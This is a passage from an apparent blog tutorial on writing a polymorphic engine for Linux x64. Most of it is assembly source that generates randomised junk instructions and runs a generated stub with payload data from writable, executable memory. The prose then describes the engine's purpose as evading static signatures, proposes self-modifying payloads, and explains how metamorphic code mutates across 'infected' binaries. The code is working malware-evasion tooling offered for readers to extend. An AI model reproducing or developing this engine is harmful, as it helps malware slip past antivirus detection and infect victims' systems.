    &lt;span class="nf"&gt;stosb&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0xC0&lt;/span&gt;
    &lt;span class="nf"&gt;add&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;dl&lt;/span&gt;
    &lt;span class="nf"&gt;stosb&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;PUSH_REG&lt;/span&gt;
    &lt;span class="nf"&gt;add&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;dl&lt;/span&gt;
    &lt;span class="nf"&gt;stosb&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;RET_OPCODE&lt;/span&gt;
    &lt;span class="nf"&gt;stosb&lt;/span&gt;
    &lt;span class="nf"&gt;ret&lt;/span&gt;

&lt;span class="c1"&gt;; advanced junk procedures&lt;/span&gt;
&lt;span class="nl"&gt;gen_trash:&lt;/span&gt;
    &lt;span class="nf"&gt;call&lt;/span&gt; &lt;span class="nv"&gt;yes_no&lt;/span&gt;
    &lt;span class="nf"&gt;test&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;
    &lt;span class="nf"&gt;jz&lt;/span&gt; &lt;span class="nv"&gt;.try_proc2&lt;/span&gt;

    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;CALL_REL32&lt;/span&gt;
    &lt;span class="nf"&gt;stosb&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt;
    &lt;span class="nf"&gt;stosd&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;ax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x07EB&lt;/span&gt;
    &lt;span class="nf"&gt;stosw&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x55&lt;/span&gt;
    &lt;span class="nf"&gt;stosb&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x48&lt;/span&gt;
    &lt;span class="nf"&gt;stosb&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x89&lt;/span&gt;
    &lt;span class="nf"&gt;stosb&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0xE5&lt;/span&gt;
    &lt;span class="nf"&gt;stosb&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;ax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;FNINIT_OPCODE&lt;/span&gt;
    &lt;span class="nf"&gt;stosw&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x5D&lt;/span&gt;
    &lt;span class="nf"&gt;stosb&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;RET_OPCODE&lt;/span&gt;
    &lt;span class="nf"&gt;stosb&lt;/span&gt;
    &lt;span class="nf"&gt;jmp&lt;/span&gt; &lt;span class="nv"&gt;.exit_trash&lt;/span&gt;

&lt;span class="nl"&gt;.try_proc2:&lt;/span&gt;
    &lt;span class="nf"&gt;call&lt;/span&gt; &lt;span class="nv"&gt;yes_no&lt;/span&gt;
    &lt;span class="nf"&gt;test&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;
    &lt;span class="nf"&gt;jz&lt;/span&gt; &lt;span class="nv"&gt;.try_proc3&lt;/span&gt;

    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;CALL_REL32&lt;/span&gt;
    &lt;span class="nf"&gt;stosb&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt;
    &lt;span class="nf"&gt;stosd&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;ax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x0AEB&lt;/span&gt;
    &lt;span class="nf"&gt;stosw&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x60&lt;/span&gt;
    &lt;span class="nf"&gt;stosb&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0xD12BC333&lt;/span&gt;
    &lt;span class="nf"&gt;stosd&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x6193C38B&lt;/span&gt;
    &lt;span class="nf"&gt;stosd&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x61&lt;/span&gt;
    &lt;span class="nf"&gt;stosb&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;RET_OPCODE&lt;/span&gt;
    &lt;span class="nf"&gt;stosb&lt;/span&gt;
    &lt;span class="nf"&gt;jmp&lt;/span&gt; &lt;span class="nv"&gt;.exit_trash&lt;/span&gt;

&lt;span class="nl"&gt;.try_proc3:&lt;/span&gt;
    &lt;span class="nf"&gt;call&lt;/span&gt; &lt;span class="nv"&gt;yes_no&lt;/span&gt;
    &lt;span class="nf"&gt;test&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;
    &lt;span class="nf"&gt;jz&lt;/span&gt; &lt;span class="nv"&gt;.exit_trash&lt;/span&gt;

    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;CALL_REL32&lt;/span&gt;
    &lt;span class="nf"&gt;stosb&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt;
    &lt;span class="nf"&gt;stosd&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x525010EB&lt;/span&gt;
    &lt;span class="nf"&gt;stosd&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;ax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0xC069&lt;/span&gt;
    &lt;span class="nf"&gt;stosw&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x90&lt;/span&gt;
    &lt;span class="nf"&gt;stosd&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x2D&lt;/span&gt;
    &lt;span class="nf"&gt;stosb&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0xDEADC0DE&lt;/span&gt;
    &lt;span class="nf"&gt;stosd&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;ax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x585A&lt;/span&gt;
    &lt;span class="nf"&gt;stosw&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;RET_OPCODE&lt;/span&gt;
    &lt;span class="nf"&gt;stosb&lt;/span&gt;

&lt;span class="nl"&gt;.exit_trash:&lt;/span&gt;
    &lt;span class="nf"&gt;ret&lt;/span&gt;

&lt;span class="c1"&gt;; dummy procedures&lt;/span&gt;
&lt;span class="nl"&gt;gen_dummy:&lt;/span&gt;
    &lt;span class="nf"&gt;call&lt;/span&gt; &lt;span class="nv"&gt;yes_no&lt;/span&gt;
    &lt;span class="nf"&gt;test&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;
    &lt;span class="nf"&gt;jz&lt;/span&gt; &lt;span class="nv"&gt;.skip_dummy&lt;/span&gt;

    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;CALL_REL32&lt;/span&gt;
    &lt;span class="nf"&gt;stosb&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;15&lt;/span&gt;
    &lt;span class="nf"&gt;stosd&lt;/span&gt;

    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x48&lt;/span&gt;
    &lt;span class="nf"&gt;stosb&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;TEST_REG_REG&lt;/span&gt;
    &lt;span class="nf"&gt;stosb&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0xC0&lt;/span&gt;
    &lt;span class="nf"&gt;stosb&lt;/span&gt;

    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;JZ_SHORT&lt;/span&gt;
    &lt;span class="nf"&gt;stosb&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;8&lt;/span&gt;
    &lt;span class="nf"&gt;stosb&lt;/span&gt;

    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x55&lt;/span&gt;
    &lt;span class="nf"&gt;stosb&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x48&lt;/span&gt;
    &lt;span class="nf"&gt;stosb&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x89&lt;/span&gt;
    &lt;span class="nf"&gt;stosb&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0xE5&lt;/span&gt;
    &lt;span class="nf"&gt;stosb&lt;/span&gt;

    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;ax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;FNINIT_OPCODE&lt;/span&gt;
    &lt;span class="nf"&gt;stosw&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;ax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;FNOP_OPCODE&lt;/span&gt;
    &lt;span class="nf"&gt;stosw&lt;/span&gt;

    &lt;span class="nf"&gt;call&lt;/span&gt; &lt;span class="nv"&gt;next_random&lt;/span&gt;
    &lt;span class="nf"&gt;and&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0xFF&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x48&lt;/span&gt;
    &lt;span class="nf"&gt;stosb&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0xB8&lt;/span&gt;
    &lt;span class="nf"&gt;stosb&lt;/span&gt;
    &lt;span class="nf"&gt;stosq&lt;/span&gt;

    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x5D&lt;/span&gt;
    &lt;span class="nf"&gt;stosb&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;RET_OPCODE&lt;/span&gt;
    &lt;span class="nf"&gt;stosb&lt;/span&gt;

&lt;span class="nl"&gt;.skip_dummy:&lt;/span&gt;
    &lt;span class="nf"&gt;ret&lt;/span&gt;

&lt;span class="c1"&gt;; execute generated stub&lt;/span&gt;
&lt;span class="nl"&gt;exec_c:&lt;/span&gt;
    &lt;span class="nf"&gt;push&lt;/span&gt; &lt;span class="nb"&gt;rbp&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rbp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;rsp&lt;/span&gt;
    &lt;span class="nf"&gt;sub&lt;/span&gt; &lt;span class="nb"&gt;rsp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;32&lt;/span&gt;
    &lt;span class="nf"&gt;push&lt;/span&gt; &lt;span class="nb"&gt;rbx&lt;/span&gt;
    &lt;span class="nf"&gt;push&lt;/span&gt; &lt;span class="nv"&gt;r12&lt;/span&gt;
    &lt;span class="nf"&gt;push&lt;/span&gt; &lt;span class="nv"&gt;r13&lt;/span&gt;
    &lt;span class="nf"&gt;push&lt;/span&gt; &lt;span class="nv"&gt;r14&lt;/span&gt;
    &lt;span class="nf"&gt;push&lt;/span&gt; &lt;span class="nv"&gt;r15&lt;/span&gt;

    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nv"&gt;r12&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;rdi&lt;/span&gt;                                &lt;span class="c1"&gt;; stub code&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nv"&gt;r13&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;rsi&lt;/span&gt;                                &lt;span class="c1"&gt;; stub size&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nv"&gt;r14&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;rdx&lt;/span&gt;                                &lt;span class="c1"&gt;; payload data&lt;/span&gt;

    &lt;span class="c1"&gt;; validate input&lt;/span&gt;
    &lt;span class="nf"&gt;test&lt;/span&gt; &lt;span class="nv"&gt;r12&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;r12&lt;/span&gt;
    &lt;span class="nf"&gt;jz&lt;/span&gt; &lt;span class="nv"&gt;.error&lt;/span&gt;
    &lt;span class="nf"&gt;test&lt;/span&gt; &lt;span class="nv"&gt;r13&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;r13&lt;/span&gt;
    &lt;span class="nf"&gt;jz&lt;/span&gt; &lt;span class="nv"&gt;.error&lt;/span&gt;
    &lt;span class="nf"&gt;cmp&lt;/span&gt; &lt;span class="nv"&gt;r13&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;
    &lt;span class="nf"&gt;jb&lt;/span&gt; &lt;span class="nv"&gt;.error&lt;/span&gt;
    &lt;span class="nf"&gt;cmp&lt;/span&gt; &lt;span class="nv"&gt;r13&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;65536&lt;/span&gt;
    &lt;span class="nf"&gt;ja&lt;/span&gt; &lt;span class="nv"&gt;.error&lt;/span&gt;

    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;9&lt;/span&gt;                                  &lt;span class="c1"&gt;; mmap&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rdi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rsi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;r13&lt;/span&gt;
    &lt;span class="nf"&gt;add&lt;/span&gt; &lt;span class="nb"&gt;rsi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;4096&lt;/span&gt;                               &lt;span class="c1"&gt;; padding&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rdx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x7&lt;/span&gt;                                &lt;span class="c1"&gt;; rwx&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nv"&gt;r10&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x22&lt;/span&gt;                               &lt;span class="c1"&gt;; private|anon&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nv"&gt;r8&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nv"&gt;r9&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;
    &lt;span class="nf"&gt;syscall&lt;/span&gt;

    &lt;span class="nf"&gt;cmp&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;
    &lt;span class="nf"&gt;je&lt;/span&gt; &lt;span class="nv"&gt;.error&lt;/span&gt;
    &lt;span class="nf"&gt;test&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;
    &lt;span class="nf"&gt;jz&lt;/span&gt; &lt;span class="nv"&gt;.error&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rbx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;

    &lt;span class="c1"&gt;; copy stub to executable memory&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rdi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;rbx&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rsi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;r12&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;r13&lt;/span&gt;
    &lt;span class="nf"&gt;rep&lt;/span&gt; &lt;span class="nv"&gt;movsb&lt;/span&gt;

    &lt;span class="c1"&gt;; execute stub&lt;/span&gt;
    &lt;span class="nf"&gt;cmp&lt;/span&gt; &lt;span class="nb"&gt;rbx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x1000&lt;/span&gt;
    &lt;span class="nf"&gt;jb&lt;/span&gt; &lt;span class="nv"&gt;.error&lt;/span&gt;
    &lt;span class="nf"&gt;call&lt;/span&gt; &lt;span class="nb"&gt;rbx&lt;/span&gt;

    &lt;span class="c1"&gt;; cleanup&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;11&lt;/span&gt;                                 &lt;span class="c1"&gt;; munmap&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rdi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;rbx&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rsi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;r13&lt;/span&gt;
    &lt;span class="nf"&gt;add&lt;/span&gt; &lt;span class="nb"&gt;rsi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;4096&lt;/span&gt;
    &lt;span class="nf"&gt;syscall&lt;/span&gt;

    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;                                  &lt;span class="c1"&gt;; success&lt;/span&gt;
    &lt;span class="nf"&gt;jmp&lt;/span&gt; &lt;span class="nv"&gt;.done&lt;/span&gt;

&lt;span class="nl"&gt;.error:&lt;/span&gt;
    &lt;span class="nf"&gt;xor&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;

&lt;span class="nl"&gt;.done:&lt;/span&gt;
    &lt;span class="nf"&gt;pop&lt;/span&gt; &lt;span class="nv"&gt;r15&lt;/span&gt;
    &lt;span class="nf"&gt;pop&lt;/span&gt; &lt;span class="nv"&gt;r14&lt;/span&gt;
    &lt;span class="nf"&gt;pop&lt;/span&gt; &lt;span class="nv"&gt;r13&lt;/span&gt;
    &lt;span class="nf"&gt;pop&lt;/span&gt; &lt;span class="nv"&gt;r12&lt;/span&gt;
    &lt;span class="nf"&gt;pop&lt;/span&gt; &lt;span class="nb"&gt;rbx&lt;/span&gt;
    &lt;span class="nf"&gt;add&lt;/span&gt; &lt;span class="nb"&gt;rsp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;32&lt;/span&gt;
    &lt;span class="nf"&gt;pop&lt;/span&gt; &lt;span class="nb"&gt;rbp&lt;/span&gt;
    &lt;span class="nf"&gt;ret&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Current Limitations
&lt;/h3&gt;

&lt;p&gt;At present, it is strictly limited to Linux x64 because of direct syscall dependencies: the mmap usage is customized for Linux, and register conventions are bound to x64. Porting to Windows would require adapting calling conventions and likely rewriting large parts of the engine logic. macOS has its own syscall numbers and memory protection details, so it would not run with simple changes.&lt;/p&gt;

&lt;p&gt;The algorithm set is deliberately limited to four variants. This scale is sufficient to prove the concept without making the system overly complex or fragile. Expanding to dozens of equivalent variants is feasible but significantly increases the risk of introducing bugs and requires careful balancing of complexity and correctness.&lt;/p&gt;

&lt;p&gt;There is currently no runtime recompilation mechanism: each variant is generated once and remains static during execution. Self-modifying variants could further improve evasion but introduce instability and substantially raise implementation cost.&lt;/p&gt;

&lt;p&gt;Future directions could include:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Adding a syscall abstraction layer for true cross-platform support (Linux, Windows, macOS).
&lt;/li&gt;
&lt;li&gt;Expanding the algorithm set and improving encryption/obfuscation (currently quite crude in this area).
&lt;/li&gt;
&lt;li&gt;Building a dynamic rewriting engine that supports self-modifying payloads.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Even in its current form, it has already achieved the core goals: functional correctness, deep signature diversity, entropy-driven key generation, intelligent junk injection, and multi-layered polymorphic structure. Implementation details can vary, but these foundational principles remain stable.&lt;/p&gt;

&lt;p&gt;This is a foundational polymorphic engine, intentionally designed to be “usable and clear.” You can use it first to understand the core techniques, then build upon it. Once you internalize these layers of entropy, obfuscation, and instruction encoding, you can take it in any direction you choose.&lt;/p&gt;

&lt;h3&gt;
  
  
  What Truly Makes Code Mutable
&lt;/h3&gt;

&lt;p&gt;Metamorphic code is more than obfuscation — it rewrites itself. On every execution, it parses its own binary, locates mutable regions, and replaces them with semantically equivalent but syntactically different instruction sequences.&lt;/p&gt;

&lt;p&gt;For a simple task like clearing a register, you can use &lt;code&gt;XOR RAX, RAX&lt;/code&gt;, &lt;code&gt;SUB RAX, RAX&lt;/code&gt;, &lt;code&gt;MOV RAX, 0&lt;/code&gt;, or even &lt;code&gt;PUSH 0; POP RAX&lt;/code&gt;. Same effect, different opcodes. To a static scanner, these are often unrelated.&lt;/p&gt;

&lt;p&gt;A metamorphic engine exploits this by maintaining an instruction-level replacement catalog. Each iteration applies randomized transformations: register renaming, safe reordering of instructions, junk code insertion, and control-flow reconstruction. Logic remains unchanged, but layout continuously evolves.&lt;/p&gt;

&lt;p&gt;Combined with replication propagation, each infected binary carries mutations from its “parent” and adds new mutations during infection. Over time, this creates a family of functionally equivalent but structurally distinct samples. No fixed signatures, no stable patterns — only continuous evolution at the opcode level. This is why it is often called “assembly heaven.”&lt;/p&gt;

&lt;h3&gt;
  
  
  Classic Reference: MetaPHOR
&lt;/h3&gt;

&lt;p&gt;In 2002, there was a very solid article dissecting metamorphic engine structure: The Mental Driller’s “How I Made MetaPHOR and What I’ve Learned.” Yes, 2002 — ancient by today’s standards, but the core principles remain strikingly relevant. Some adaptation is needed for modern systems, but the underlying mechanisms are still solid.&lt;/p&gt;

&lt;p&gt;Polymorphism focuses on camouflage: adjusting the decryptor, wrapping the payload, keeping the core static. Metamorphism discards the shell and directly modifies the interior. It disassembles complete code blocks, rewrites them from scratch, and reassembles the binary — producing new logical layouts, altered control flow, and shifted instruction patterns. Every landing looks different.&lt;/p&gt;

&lt;p&gt;It is not just renaming registers or sprinkling NOPs. It is full-code-level mutation — deep structural churning that leaves no stable anchor points for static fingerprints.&lt;/p&gt;

&lt;h3&gt;
